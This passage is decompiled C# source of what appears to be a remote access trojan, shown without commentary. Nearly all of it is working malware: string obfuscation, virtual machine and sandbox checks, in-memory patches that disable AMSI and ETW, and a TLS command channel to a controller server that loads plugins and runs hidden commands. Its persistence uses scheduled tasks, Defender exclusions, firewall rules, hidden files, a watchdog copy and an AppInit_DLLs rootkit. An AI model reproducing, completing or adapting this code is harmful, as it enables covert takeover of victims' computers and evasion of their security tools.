EncryptString.Decode("!QU@R??xP??"),
EncryptString.Decode("AI)E xP??"),
EncryptString.Decode("Y_P}mN.pxP??"),
EncryptString.Decode("!zpxP??"),
EncryptString.Decode("!)=IxP??")
};
for (int i = 0; i < array.Length; i++)
{
if (DllImport.GetModuleHandleA(array[i]) != 0)
{
return true;
}
}
return false;
}
public static bool isVM_by_wim_temper()
{
//IL_000a: Unknown result type (might be due to invalid IL or missing references)
//IL_0014: Expected O, but got Unknown
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
return new ManagementObjectSearcher((ObjectQuery)new SelectQuery(EncryptString.Decode("!@?@YN^&^zm'_^nUI.pd+OYE@(@_'mq"))).Get().Count == 0;
}
public static bool isVM_by_wim_temper1()
{
//IL_000a: Unknown result type (might be due to invalid IL or missing references)
//IL_0014: Expected O, but got Unknown
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
return new ManagementObjectSearcher((ObjectQuery)new SelectQuery(EncryptString.Decode("!@?@YN^&^zm'_^+=(d(@_'mq"))).Get().Count == 0;
}
public static bool CheckWMI()
{
//IL_00a3: Unknown result type (might be due to invalid IL or missing references)
string[] source = new string[11]
{
EncryptString.Decode("}UmN/O?"),
EncryptString.Decode("UII'N@ ^F_QE"),
EncryptString.Decode("NJ}YFON@fOq"),
EncryptString.Decode(":(hE"),
EncryptString.Decode("NJO/N'Y'IIA}Y"),
EncryptString.Decode("}Q')"),
EncryptString.Decode("}_Q')"),
EncryptString.Decode("}_fOm@"),
EncryptString.Decode("}UmN/O?Q')"),
EncryptString.Decode("Q')"),
EncryptString.Decode("NEUIOJJ")
};
try
{
ManagementObject val = (from p in ((IEnumerable)new ManagementObjectSearcher("m''Nk+=(:p", "!tCt+\"^&^*[G(^nUI.pd+'_J/N@m!qAN@_").Get()).OfType<ManagementObject>()
where p != null
select p).FirstOrDefault();
if (((ManagementBaseObject)val)[EncryptString.Decode("('P@?")] != null && source.Contains(((ManagementBaseObject)val)[EncryptString.Decode("('P@?")].ToString().ToLower()))
{
return true;
}
if (((ManagementBaseObject)val)[EncryptString.Decode("(OI/zOYN/m@m")] != null && source.Contains(((ManagementBaseObject)val)[EncryptString.Decode("(OI/zOYN/m@m")].ToString().ToLower()))
{
return true;
}
}
catch
{
}
return false;
}
public static bool SmallDiskDetected()
{
try
{
long num = GetTotalSize(Path.GetPathRoot(Environment.SystemDirectory).Substring(0, 1)) / 1000000000;
long num2 = 45L;
return num < num2;
}
catch
{
return false;
}
}
public static long GetTotalSize(string driveLetter)
{
long lpFreeBytesAvailable = 0L;
long lpTotalNumberOfBytes = 0L;
long lpTotalNumberOfFreeBytes = 0L;
DllImport.GetDiskFreeSpaceEx(driveLetter + EncryptString.Decode("#k"), ref lpFreeBytesAvailable, ref lpTotalNumberOfBytes, ref lpTotalNumberOfFreeBytes);
return lpTotalNumberOfBytes;
}
public static bool EnvironmentDetected()
{
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), EncryptString.Decode("PmU}@mA"));
string[] array = new string[10]
{
EncryptString.Decode("QO??''IxAqA"),
EncryptString.Decode("I@N }_xAqA"),
EncryptString.Decode("J}JOIUYxAqA"),
EncryptString.Decode("}U'zAxAqA"),
EncryptString.Decode("}U'zAxAqA"),
EncryptString.Decode("}U'FJ/P'xAqA"),
EncryptString.Decode("}U'UIJ/NxAqA"),
EncryptString.Decode("}U'mIFxAqA"),
EncryptString.Decode("}U'A@mxAqA"),
EncryptString.Decode("}U'AN'mxAqA")
};
foreach (string path2 in array)
{
if (File.Exists(Path.Combine(path, path2)))
{
return true;
}
}
string path3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
array = new string[2]
{
EncryptString.Decode("H@_/6FO"),
EncryptString.Decode("!c=+t^b/@AN^\"''?A")
};
foreach (string path4 in array)
{
if (Directory.Exists(Path.Combine(path3, path4)))
{
return true;
}
}
return Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName).ToLower().Contains(EncryptString.Decode("AOIPQ')"));
}
}
internal class AsmiAndETW
{
public static byte[] x64_etw_patch = new byte[4] { 72, 51, 192, 195 };
public static byte[] x86_etw_patch = new byte[5] { 51, 192, 194, 20, 0 };
public static byte[] x64_am_si_patch = new byte[12]
{
184, 52, 18, 7, 128, 102, 184, 50, 0, 176,
87, 195
};
public static byte[] x86_am_si_patch = new byte[8] { 184, 87, 0, 7, 128, 194, 24, 0 };
private static void PatchAmsi(byte[] patch)
{
string text = EncryptString.Decode("O_AUxP??");
bool flag = true;
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
if (module.ModuleName == text)
{
PatchMem(patch, text, EncryptString.Decode("v_AU!YOIl/zz@m"));
flag = false;
break;
}
}
if (flag)
{
AggresivAmsiActivate(patch, text);
}
}
private static void AggresivAmsiActivate(byte[] patch, string dll)
{
byte[] array = new byte[new Random().Next(1, 100)];
new Random().NextBytes(array);
Assembly assembly = Assembly.Load(array);
try
{
assembly.EntryPoint.Invoke(null, null);
}
catch
{
}
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
if (module.ModuleName == dll)
{
PatchMem(patch, dll, EncryptString.Decode("v_AU!YOIl/zz@m"));
}
}
}
private static void PatchETW(byte[] Patch)
{
PatchMem(Patch, EncryptString.Decode("INP??xP??"), EncryptString.Decode("tNft}@INnmUN@"));
}
private static void PatchMem(byte[] patch, string library, string function)
{
try
{
IntPtr processHandle = new IntPtr(-1);
IntPtr BaseAddress = DInvokeCore.GetExportAddress((from ProcessModule x in Process.GetCurrentProcess().Modules
where library.Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)
select x).FirstOrDefault().BaseAddress, function);
IntPtr RegionSize = new IntPtr(patch.Length);
uint OldProtect = 0u;
DllImport.NtProtectVirtualMemory(processHandle, ref BaseAddress, ref RegionSize, 64u, ref OldProtect);
Marshal.Copy(patch, 0, BaseAddress, patch.Length);
}
catch
{
}
}
public static void Bypass()
{
if (Config.AntiVirus.ToLower().Contains(EncryptString.Decode("O}OAN")))
{
return;
}
try
{
if (IntPtr.Size != 4)
{
PatchAmsi(x64_am_si_patch);
PatchETW(x64_etw_patch);
}
else
{
PatchAmsi(x86_am_si_patch);
PatchETW(x86_etw_patch);
}
}
catch
{
}
}
}
public class Client
{
public Socket socket;
public SslStream SslClient;
public byte[] ClientBuffer;
public bool ClientBufferRecevied;
public int HeaderSize;
public int Offset;
public object SendSync;
public bool itsConnect;
public PingChecker pingChecker;
public LastPing lastPing;
public void Connect(string ip, string port)
{
try
{
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.ReceiveBufferSize = 512000;
socket.SendBufferSize = 512000;
socket.Connect(ip, Convert.ToInt32(port));
if (socket.Connected)
{
SendSync = new object();
SslClient = new SslStream(new NetworkStream(socket, ownsSocket: true), leaveInnerStreamOpen: false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(socket.RemoteEndPoint.ToString().Split(new char[1] { ':' })[0], null, SslProtocols.Tls, checkCertificateRevocation: false);
Offset = 0;
HeaderSize = 4;
ClientBuffer = new byte[HeaderSize];
ClientBufferRecevied = false;
SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
}
itsConnect = socket.Connected;
}
catch (Exception)
{
itsConnect = false;
}
}
private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
return Config.ServerCertificate.Equals(certificate);
}
public void Disconnect()
{
itsConnect = false;
ClientBuffer = null;
HeaderSize = 0;
Offset = 0;
if (pingChecker != null)
{
pingChecker.Disconnect();
}
if (lastPing != null)
{
lastPing.Disconnect();
}
if (socket != null)
{
socket.Dispose();
}
if (SslClient != null)
{
SslClient.Dispose();
}
}
public void ReadData(IAsyncResult ar)
{
if (!itsConnect)
{
return;
}
try
{
int num = SslClient.EndRead(ar);
if (num > 0)
{
HeaderSize -= num;
Offset += num;
if (!ClientBufferRecevied)
{
ProcessClientBufferNotReceived();
}
else
{
ProcessClientBufferReceived();
}
if (itsConnect)
{
SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
}
}
else
{
itsConnect = false;
}
}
catch (Exception)
{
itsConnect = false;
}
}
public void ProcessClientBufferReceived2()
{
Offset = 0;
HeaderSize = 4;
ClientBuffer = new byte[HeaderSize];
ClientBufferRecevied = false;
}
public void ProcessClientBufferReceived1()
{
new Thread(Read).Start(ClientBuffer);
ProcessClientBufferReceived2();
}
public void ProcessClientBufferReceived()
{
if (HeaderSize == 0)
{
ProcessClientBufferReceived1();
}
else if (HeaderSize < 0)
{
itsConnect = false;
}
}
public void ProcessClientBufferNotReceived1()
{
HeaderSize = BitConverter.ToInt32(ClientBuffer, 0);
if (HeaderSize > 0)
{
ClientBuffer = new byte[HeaderSize];
Offset = 0;
ClientBufferRecevied = true;
}
}
public void ProcessClientBufferNotReceived()
{
if (HeaderSize == 0)
{
ProcessClientBufferNotReceived1();
}
else if (HeaderSize < 0)
{
itsConnect = false;
}
}
public void Error(string exp)
{
Send(LEB128.Write(new object[2]
{
EncryptString.Decode("tmm'm"),
exp
}));
}
public void Send(byte[] Data)
{
if (!itsConnect)
{
return;
}
lock (SendSync)
{
try
{
byte[] bytes = BitConverter.GetBytes(Data.Length);
byte[] array = new byte[4 + Data.Length];
Array.Copy(bytes, 0, array, 0, bytes.Length);
Array.Copy(Data, 0, array, 4, Data.Length);
socket.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(array, 0, array.Length);
SslClient.Flush();
}
catch (Exception)
{
itsConnect = false;
}
}
}
public void Read(object data)
{
object[] array = LEB128.Read((byte[])data);
if (lastPing != null)
{
lastPing.Last();
}
if ((string)array[0] == EncryptString.Decode("=I}' @"))
{
PluginLoader.Invoke(array, this);
}
if ((string)array[0] == EncryptString.Decode("!O}@=I}' @"))
{
PluginLoader.SaveInvoke(array, this);
}
if ((string)array[0] == EncryptString.Decode("c'IF"))
{
pingChecker.Stop(this);
}
if ((string)array[0] == EncryptString.Decode("t)UN"))
{
Methods.Exit();
}
if ((string)array[0] == EncryptString.Decode("[@ANOmN"))
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.FileName = EncryptString.Decode("Y_P");
processStartInfo.Arguments = EncryptString.Decode("a ^NU_@'/N^X^L^2]C^00^D") + Methods.GetExecutablePath() + EncryptString.Decode("D");
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
processStartInfo.Verb = EncryptString.Decode("m/IOA");
}
Process process = new Process();
process.StartInfo = processStartInfo;
process.Start();
Thread.Sleep(new Random().Next(2000, 3000));
Methods.Exit();
}
if ((string)array[0] == EncryptString.Decode("]IUIANO??"))
{
if (Config.Install == EncryptString.Decode("zO?A@"))
{
Methods.Exit();
}
ProcessStartInfo processStartInfo2 = new ProcessStartInfo();
processStartInfo2.UseShellExecute = false;
processStartInfo2.CreateNoWindow = true;
processStartInfo2.RedirectStandardOutput = true;
processStartInfo2.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo2.FileName = Install.Uninstall();
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
processStartInfo2.Verb = EncryptString.Decode("m/IOA");
}
Process process2 = new Process();
process2.StartInfo = processStartInfo2;
process2.Start();
Thread.Sleep(2000);
Methods.Exit();
}
if ((string)array[0] == EncryptString.Decode("]JPON@"))
{
string text = Path.GetTempFileName() + EncryptString.Decode("x@)@");
File.WriteAllBytes(text, (byte[])array[1]);
ProcessStartInfo processStartInfo3 = new ProcessStartInfo();
processStartInfo3.UseShellExecute = false;
processStartInfo3.CreateNoWindow = true;
processStartInfo3.RedirectStandardOutput = true;
processStartInfo3.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo3.FileName = EncryptString.Decode("Y_P");
processStartInfo3.Arguments = EncryptString.Decode("a ^NU_@'/N^K<^L^2]C^00^D") + text + EncryptString.Decode("D");
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
processStartInfo3.Verb = EncryptString.Decode("m/IOA");
}
Process process3 = new Process();
process3.StartInfo = processStartInfo3;
process3.Start();
string fileName = Install.Uninstall();
if (Config.Install == EncryptString.Decode("zO?A@"))
{
Methods.Exit();
}
ProcessStartInfo processStartInfo4 = new ProcessStartInfo();
processStartInfo4.UseShellExecute = false;
processStartInfo4.CreateNoWindow = true;
processStartInfo4.RedirectStandardOutput = true;
processStartInfo4.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo4.FileName = fileName;
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
processStartInfo4.Verb = EncryptString.Decode("m/IOA");
}
Process process4 = new Process();
process4.StartInfo = processStartInfo4;
process4.Start();
Thread.Sleep(2000);
Methods.Exit();
}
if ((string)array[0] == EncryptString.Decode("!N/Q]JPON@"))
{
Updater.Main();
}
}
}
public class Delegates
{
public delegate IntPtr DSBnjin8bs92nbjfsdi(string lpModuleName);
public delegate IntPtr dsUinnb8sdn9g8bngs();
public delegate int buhsdINJOMF9nuijm(IntPtr hWnd, StringBuilder text, int count);
public delegate uint gdfudsin8shd2(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect);
public delegate bool gvSUDINJons29fg(string lpDirectoryName, ref long lpFreeBytesAvailable, ref long lpTotalNumberOfBytes, ref long lpTotalNumberOfFreeBytes);
public delegate DllImport.EXECUTION_STATE dsGFGdg(DllImport.EXECUTION_STATE esFlags);
}
public class DInvokeCore
{
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
{
IntPtr loadedModuleAddress = GetLoadedModuleAddress(DLLName);
if (loadedModuleAddress == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName);
}
return GetExportAddress(loadedModuleAddress, FunctionName);
}
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
if (string.Compare(module.ModuleName, DLLName, ignoreCase: true) == 0)
{
return module.BaseAddress;
}
}
return IntPtr.Zero;
}
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr intPtr = IntPtr.Zero;
try
{
int num = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 60));
Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + num + 20));
long num2 = ModuleBase.ToInt64() + num + 24;
long num3 = ((Marshal.ReadInt16((IntPtr)num2) != 267) ? (num2 + 112) : (num2 + 96));
int num4 = Marshal.ReadInt32((IntPtr)num3);
int num5 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 16));
Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 20));
int num6 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 24));
int num7 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 28));
int num8 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 32));
int num9 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 36));
for (int i = 0; i < num6; i++)
{
if (Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num8 + i * 4)))).Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
int num10 = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + num9 + i * 2)) + num5;
int num11 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num7 + 4 * (num10 - num5)));
intPtr = (IntPtr)((long)ModuleBase + num11);
break;
}
}
}
catch
{
throw new Exception();
}
if (intPtr == IntPtr.Zero)
{
throw new Exception(ExportName);
}
return intPtr;
}
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
{
IntPtr libraryAddress = GetLibraryAddress(DLLName, FunctionName);
if (libraryAddress == IntPtr.Zero)
{
throw new Exception();
}
return DynamicFunctionInvoke(libraryAddress, FunctionDelegateType, ref Parameters);
}
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
{
return Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType).DynamicInvoke(Parameters);
}
}
public static class DllImport
{
public enum EXECUTION_STATE : uint
{
ES_CONTINUOUS = 2147483648u,
ES_DISPLAY_REQUIRED = 2u,
ES_SYSTEM_REQUIRED = 1u
}
public static int GetModuleHandleA(string lpModuleName)
{
object[] Parameters = new object[1] { lpModuleName };
return ((IntPtr)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode(" @mI@?.pxP??"), EncryptString.Decode("b@N('P/?@8OIP?@v"), typeof(Delegates.DSBnjin8bs92nbjfsdi), ref Parameters)).ToInt32();
}
public static EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags)
{
object[] Parameters = new object[1] { esFlags };
return (EXECUTION_STATE)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode(" @mI@?.pxP??"), EncryptString.Decode("!@N\"Em@OPt)@Y/NU'I!NON@"), typeof(Delegates.dsGFGdg), ref Parameters);
}
public static IntPtr GetForegroundWindow()
{
object[] Parameters = new object[0];
return (IntPtr)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode("/[email protected]??"), EncryptString.Decode("b@N*'m@Fm'/IPnUIP'f"), typeof(Delegates.dsUinnb8sdn9g8bngs), ref Parameters);
}
public static int GetWindowText(IntPtr hWnd, StringBuilder text, int count)
{
object[] Parameters = new object[3] { hWnd, text, count };
return (int)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode("/[email protected]??"), EncryptString.Decode("b@NnUIP'f\"@)Nv"), typeof(Delegates.buhsdINJOMF9nuijm), ref Parameters);
}
public static bool GetDiskFreeSpaceEx(string lpDirectoryName, ref long lpFreeBytesAvailable, ref long lpTotalNumberOfBytes, ref long lpTotalNumberOfFreeBytes)
{
object[] Parameters = new object[4] { lpDirectoryName, lpFreeBytesAvailable, lpTotalNumberOfBytes, lpTotalNumberOfFreeBytes };
bool result = (bool)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode(" @mI@?.pxP??"), EncryptString.Decode("b@NRUA *m@@!JOY@t)"), typeof(Delegates.gvSUDINJons29fg), ref Parameters);
lpFreeBytesAvailable = (long)Parameters[1];
lpTotalNumberOfBytes = (long)Parameters[2];
lpTotalNumberOfFreeBytes = (long)Parameters[3];
return result;
}
public static bool NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect)
{
OldProtect = 0u;
object[] Parameters = new object[5] { ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect };
if ((uint)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode("INP??xP??"), EncryptString.Decode("2Ncm'N@YN:UmN/O?(@_'mq"), typeof(Delegates.gdfudsin8shd2), ref Parameters) != 0)
{
return false;
}
OldProtect = (uint)Parameters[4];
return true;
}
}
internal class EncryptString
{
public static string enc = "\\;KVo+F8|.gLCMY6*etclU(4q)}S&nZB`Q'>TX%ayW2@9[E/_G\"!1{v~]PxD0ikrIuOdm=J,5^f<$j7HN#zbh-sp3:w RA?";
public static string dec = "kST:',*oMxFC+(3u&@NY?]-~HZV!0I9les$L\"hgOqnp1>|tadbD;Ki}75c)R<U m=/GP_`w%X{z\\BrW82yjQE6AJ.#f^[v4";
public static string Decode(string text)
{
string text2 = "";
foreach (char c in text)
{
for (int j = 0; j < dec.Length; j++)
{
if (dec[j] == c)
{
text2 += enc[j];
break;
}
}
}
return text2;
}
}
internal class HwidGenerator
{
public static string hwid()
{
if (SetRegistry.CheckValue(EncryptString.Decode("8fUP")))
{
return SetRegistry.GetValue(EncryptString.Decode("8fUP"));
}
MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] bytes = Encoding.ASCII.GetBytes(Inf());
bytes = mD5CryptoServiceProvider.ComputeHash(bytes);
return ByteToStr(bytes);
}
private static string ByteToStr(byte[] buffer)
{
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in buffer)
{
stringBuilder.Append(b.ToString(EncryptString.Decode(")p")));
}
return stringBuilder.ToString();
}
private static string identifier(string wmiClass, string wmiProperty)
{
//IL_0007: Unknown result type (might be due to invalid IL or missing references)
//IL_001f: Unknown result type (might be due to invalid IL or missing references)
//IL_0025: Expected O, but got Unknown
string text = "";
ManagementObjectEnumerator enumerator = new ManagementClass(wmiClass).GetInstances().GetEnumerator();
try
{
while (enumerator.MoveNext())
{
ManagementObject val = (ManagementObject)enumerator.Current;
if (text == "")
{
try
{
text = ((ManagementBaseObject)val)[wmiProperty].ToString();
}
catch
{
continue;
}
break;
}
}
}
finally
{
((IDisposable)enumerator)?.Dispose();
}
return text;
}
private static string Inf()
{
return identifier(EncryptString.Decode("nUI.pdRUA RmU}@"), EncryptString.Decode("('P@?")) + identifier(EncryptString.Decode("nUI.pdRUA RmU}@"), EncryptString.Decode("(OI/zOYN/m@m")) + identifier(EncryptString.Decode("nUI.pdRUA RmU}@"), EncryptString.Decode("2O_@")) + identifier(EncryptString.Decode("nUI.pdcm'Y@AA'm"), EncryptString.Decode("2O_@")) + Config.WindowsVersion + Config.Gpu + Config.DataInstall + Environment.ProcessorCount;
}
}
internal class Install
{
public static bool Installing = true;
public static void Run()
{
if (Config.UseInstallAdmin == EncryptString.Decode("Nm/@") && Config.Privilege == EncryptString.Decode("]A@m"))
{
if (TaskCheck(Config.TaskClient) && File.Exists(Config.PathClient))
{
RunTask(Config.TaskClient);
Methods.Exit();
}
if (Config.InstallWatchDog != EncryptString.Decode("zO?A@") && TaskCheck(Config.TaskWatchDog) && File.Exists(Config.PathWatchDog))
{
RunTask(Config.TaskClient);
Methods.Exit();
}
while (true)
{
ProcessStartInfo startInfo = new ProcessStartInfo(Methods.GetExecutablePath())
{
Verb = EncryptString.Decode("m/IOA")
};
try
{
Process.Start(startInfo);
Methods.Exit();
}
catch
{
}
}
}
if (Config.InstallWatchDog == EncryptString.Decode("Nm/@") && Methods.GetExecutablePath() == Config.PathWatchDog)
{
Loop();
}
if (Config.PathClient != Methods.GetExecutablePath())
{
Loop();
}
new Thread((ThreadStart)delegate
{
Loop();
}).Start();
}
public static void CopyFile(string sourceFilePath, string destinationFilePath)
{
using FileStream fileStream = new FileStream(sourceFilePath, FileMode.Open, FileAccess.Read);
using FileStream fileStream2 = new FileStream(destinationFilePath, FileMode.Create, FileAccess.Write);
byte[] array = new byte[1024];
int count;
while ((count = fileStream.Read(array, 0, array.Length)) > 0)
{
fileStream2.Write(array, 0, count);
}
if (Config.Pump == EncryptString.Decode("Nm/@"))
{
fileStream2.SetLength(fileStream2.Length + new Random().Next(700, 750) * 1024 * 1024);
}
}
public static void Loop()
{
while (Installing)
{
if (!Directory.Exists(Path.GetDirectoryName(Config.PathClient)))
{
Directory.CreateDirectory(Path.GetDirectoryName(Config.PathClient));
}
if (!File.Exists(Config.PathClient))
{
CopyFile(Methods.GetExecutablePath(), Config.PathClient);
if (Config.ExclusionWD != EncryptString.Decode("zO?A@"))
{
WindowsDefenderExclusion.Exc(Config.PathClient);
}
netSh(Config.PathClient, EncryptString.Decode("nUIP'fA+'INm'?"));
}
Schtasks(Config.PathClient, Config.TaskClient, 1);
if (Convert.ToBoolean(Config.UserInit))
{
UserINIT(Config.PathClient);
}
if (Config.HiddenFile != EncryptString.Decode("zO?A@"))
{
SecrityHidden.HiddenFile(Config.PathClient);
}
if (Config.InstallWatchDog == EncryptString.Decode("Nm/@"))
{
if (!Directory.Exists(Path.GetDirectoryName(Config.PathWatchDog)))
{
Directory.CreateDirectory(Path.GetDirectoryName(Config.PathWatchDog));
}
if (!File.Exists(Config.PathWatchDog))
{
CopyFile(Methods.GetExecutablePath(), Config.PathWatchDog);
if (Config.ExclusionWD == EncryptString.Decode("Nm/@"))
{
WindowsDefenderExclusion.Exc(Config.PathWatchDog);
}
}
Schtasks(Config.PathWatchDog, Config.TaskWatchDog, 30);
if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
{
SecrityHidden.HiddenFile(Config.PathWatchDog);
}
if (Methods.GetExecutablePath() == Config.PathWatchDog)
{
Methods.Exit();
}
}
if (Config.RootKit != EncryptString.Decode("zO?A@") && Config.Privilege == EncryptString.Decode("vP_UI"))
{
string path = Methods.GetPath(EncryptString.Decode("gnUIP'fAgk)PfPxP??"));
if (!File.Exists(path))
{
File.WriteAllBytes(path, Xor.DecodEncod(Methods.GetResourceFile(Config.RootKit), Encoding.ASCII.GetBytes(Config.Key)));
if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
{
SecrityHidden.HiddenFile(path);
}
if (Config.ExclusionWD == EncryptString.Decode("Nm/@"))
{
WindowsDefenderExclusion.Exc(path);
}
AddRootkit(path);
}
}
if (Config.PathClient != Methods.GetExecutablePath())
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = Config.PathClient;
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
processStartInfo.Verb = EncryptString.Decode("m/IOA");
}
Process process = new Process();
process.StartInfo = processStartInfo;
process.Start();
Methods.Exit();
}
if (!MutexControl.createdNew && Mutex.OpenExisting(Config.Mutex) != null)
{
Methods.Exit();
}
Thread.Sleep(5000);
}
}
public static void RmRootkit()
{
using (RegistryKey registryKey = Registry.LocalMachine)
{
RegistryKey? registryKey2 = registryKey.OpenSubKey(EncryptString.Decode("!G*\"nv[t")).OpenSubKey(EncryptString.Decode("(UYm'A'zN")).OpenSubKey(EncryptString.Decode("nUIP'fA^2\""))
.OpenSubKey(EncryptString.Decode("+/mm@IN:@mAU'I"))
.OpenSubKey(EncryptString.Decode("nUIP'fA"), writable: true);
registryKey2.SetValue(EncryptString.Decode("vJJ=IUNdRCCA"), "");
registryKey2.SetValue(EncryptString.Decode("C'OPvJJ=IUNdRCCA"), 0, RegistryValueKind.DWord);
registryKey2.SetValue(EncryptString.Decode("[@H/Um@!UFI@PvJJ=IUNdRCCA"), 1, RegistryValueKind.DWord);
}
Process.Start(new ProcessStartInfo
{
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardOutput = true,
WindowStyle = ProcessWindowStyle.Hidden,
FileName = EncryptString.Decode("Y_P"),
Verb = EncryptString.Decode("m/IOA"),
Arguments = EncryptString.Decode("a+^NOA U??^aU_^@)J?'m@mx@)@^az^00^\"U_@G/N^p^00^ANOmN^@)J?'m@mx@)@")
});
}
public static void AddRootkit(string fullpath)
{
using RegistryKey registryKey = Registry.LocalMachine;
RegistryKey registryKey2 = registryKey.OpenSubKey(EncryptString.Decode("!G*\"nv[t")).OpenSubKey(EncryptString.Decode("(UYm'A'zN")).OpenSubKey(EncryptString.Decode("nUIP'fA^2\""))
.OpenSubKey(EncryptString.Decode("+/mm@IN:@mAU'I"))
.OpenSubKey(EncryptString.Decode("nUIP'fA"), writable: true);
if (registryKey2.GetValue(EncryptString.Decode("vJJ=IUNdRCCA")) == null || !((string)registryKey2.GetValue(EncryptString.Decode("vJJ=IUNdRCCA")) == fullpath))
{
registryKey2.SetValue(EncryptString.Decode("vJJ=IUNdRCCA"), fullpath);
registryKey2.SetValue(EncryptString.Decode("C'OPvJJ=IUNdRCCA"), 1, RegistryValueKind.DWord);
registryKey2.SetValue(EncryptString.Decode("[@H/Um@!UFI@PvJJ=IUNdRCCA"), 0, RegistryValueKind.DWord);
}
}
public static string Uninstall()
{
Installing = false;
Thread.Sleep(2000);
string text = Path.GetTempFileName() + EncryptString.Decode("xQON");
string text2 = EncryptString.Decode("NU_@'/N^K<^L^2]C") + EncryptString.Decode("+R^D") + Path.GetDirectoryName(Config.PathClient) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(Config.PathClient) + EncryptString.Decode("D^az^aH");
DeletingTask(Config.TaskClient);
if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
{
SecrityHidden.Unlock(Config.PathClient);
}
if (Convert.ToBoolean(Config.UserInit))
{
UserINIT(Config.PathClient);
}
if (Config.InstallWatchDog == EncryptString.Decode("Nm/@"))
{
DeletingTask(Config.TaskWatchDog);
if (Config.HiddenFile != EncryptString.Decode("zO?A@"))
{
SecrityHidden.Unlock(Config.PathWatchDog);
}
File.Delete(Config.PathWatchDog);
text2 = text2 + EncryptString.Decode("+R^D") + Path.GetDirectoryName(Config.PathWatchDog) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(Config.PathWatchDog) + EncryptString.Decode("D^az^aH");
}
if (Config.RootKit != EncryptString.Decode("zO?A@"))
{
RmRootkit();
string path = Methods.GetPath(EncryptString.Decode("gnUIP'fAgk)PfPxP??"));
if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
{
SecrityHidden.Unlock(path);
}
text2 = text2 + EncryptString.Decode("+R^D") + Path.GetDirectoryName(path) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(path) + EncryptString.Decode("D^az^aH");
}
text2 = text2 + EncryptString.Decode("+R^D") + Path.GetDirectoryName(text) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(text) + EncryptString.Decode("D^az^aH");
File.WriteAllText(text, text2);
return text;
}
public static void netSh(string path, string name)
{
if (!(Config.Privilege == EncryptString.Decode("]A@m")))
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
processStartInfo.RedirectStandardOutput = true;
